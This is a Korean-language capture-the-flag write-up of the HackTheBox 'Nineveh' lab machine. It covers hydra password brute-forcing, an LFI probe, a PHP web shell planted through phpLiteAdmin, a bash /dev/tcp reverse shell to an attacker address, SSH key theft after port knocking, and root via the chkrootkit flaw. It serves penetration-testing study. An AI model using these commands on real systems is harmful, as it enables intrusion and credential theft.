HackTheBox - Nineveh환경 실습
진행 절차
Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 mnap을 통해 확인해본 결과, HTTP, HTTPS가 Open되어 있음을 확인
Step 2. HTTP로 접근 시 특이사항 없었으며, 디렉토리 스캔해본 결과 '/department'/ 디렉토리가 존재하였으며 해당 페이지로 접근 시 로그인 페이지가 있는 것으로 확인하였으며 해당 페이지 소스 코드 조회시에 ID가 admin 또는 amrois 일 수 있다는 사실을 확인. HTTPS 디렉토리 스캔 시, '/db' 디렉토리가 존재하였으며 웹 상에서 DB를 관리하는 phpliteadmin 페이지가 뜨는 것으로 확인.
명령어 |
root@kali#gobuster dir –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –u http://10.10.10.43 |
Step 3. 수집한 정보를 토대로 로그인 시도 시, 'Invalid Password!' 메시지가 뜨는 것으로 확인. 이를 통해 아이디는 'admin'이 맞다는 것을 유추할 수 있으며, 패스워드 크랙 도구인 hydra를 사용하기 앞서 login 진행 시 URL에 ID,PW가 넘어가는 방식이 아닌 것으로 확인했을 때 POST 방식으로 전달하는 것으로 확인. 개발자 도구를 통해 HTTP Body값을 확인 후 hydra에 식별된 파라미터 값 및 에러 시 뜨는 'Invalid'를 넣어 동작 시, 패스워드 크랙 성공 확인
명령어 |
root@kali#hydra –l admin –P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form “/department/login.php:username=^USER^&password=^PASS^:Invalid” -t 64 |
Step 4. 획득한 계정 정보를 통해 접근 시, 로그인 페이지에 하드코딩된 ID,PW가 있으며 들어가기 위해선 숨겨진 폴더를 찾아야 하며, DB 인터페이스를 개선해야 한다고 전달하는 것을 확인. 이 정보를 통해 DB를 수정해야 한다는 사실을 파악.
추가로 URL 뒤에 로컬에 있는 파일을 참조(LFI)하는 것으로 추측하여 중요 시스템 파일인 '/etc/passwd' 스캔 시 조회는 불가능하였으나 이후 이를 이용하여 추가 공격이 가능할 것으로 추측.
Step 5. DB를 수정해야 한다는 힌트를 통해 DB를 접근하는 방법을 찾는 도중 이전 정보 수집을 통해 'https://10.10.10.43/db' 디렉토리가 있음을 확인하였으며, phpliteadmin의 경우 웹 상에서 DB를 컨트롤하는 관리 도구로 이를 침투하면 될 것으로 판단. hydra를 통해 패스워드 크랙 시도 시 탈취 성공 확인.
명령어 |
root@kali#hydra –l admin –P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form “/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect” -t 64 |
Step 6. 크랙한 계정 정보를 통해 phpLiteAdmin에 접근. 해당 페이지에서 'test'라는 데이터베이스에 읽고 쓸수 있는 권한이 있다는 사실을 파악. PHPLiteAdmin 1.9.3 버전에 Remote Code Injection 취약점이 있다는 사항을 파악하여 'ninevehNotes.php' 데이터베이스를 생성 후 'ninevehNotes' 테이블을 생성 후 웹 쉘 업로드.
입력값 |
<?php echo system($_GET["cmd"]); ?> |
Step 7. 생성한 웹쉘 경로로 이동하여 시스템 명령어 입력 시 정상 동작 확인. 이를 이용하여 리버스 쉘 획득을 위한 명령어 입력 시 리버스 쉘 획득.
입력값 |
bash –c “bash –i>&/dev/tcp/10.10.14.2/9999 0>&1” |
Step 8. 루트 권한 상승을 위해 linpeas 업로드 후 스캔 시 현재 활성화 되어 있는 포트가 HTTP, HTTPS, SSH가 있음을 확인. Kali Linux에서 nmap을 통해 스캔 시에는 HTTP, HTTPS만 나오는 것으로 추측했을 때, Port Knocking이 되어 있을 것으로 판단. '/etc/knockd.conf'에서 시퀀스 번호 확인 후 해제 시 SSH 포트는 접근 가능하나 public key값이 없어 ssh로 접근이 안되는 것을 확인. linpeas를 통해 확인된 SSH값이 저장된 파일을 open하여 key 값을 복사 후 접근 시 패스워드 입력하지 않아도 접근 가능 확인
※ www-data에서 root로 직접적인 권한 상승이 어려운 것으로 추측
명령어 |
www-data@nineveh:strings nineveh.png |
Step 9. root 권한으로 상승하기 위해 스캔 도중, chrootkit을 사용하고 있음을 확인. chrootkit의 경우 권한 상승 취약점이 존재하여 이를 이용하여 tmp에 리버스 쉘 획득할 수 있는 쉘 코드 삽입한 파일 생성 후 대기하면 루트 권한 탈취 성공 확인.
※ chkrootkit local privilege escalation(CVE-2014-0476) : 로컬 공격자가 취약한 설정(/tmp가 noexec에 마운트 되지 않음)을 활용하여 루트 권한 획득 가능
'hackthebox' 카테고리의 다른 글
HackTheBox - SolidState (2) | 2023.11.30 |
---|---|
HackTheBox - Sense (0) | 2023.11.29 |
HackTheBox - Cronos (2) | 2023.11.17 |
HackTheBox - Beep (0) | 2023.11.15 |
HackTheBox - Nibbles (0) | 2023.11.14 |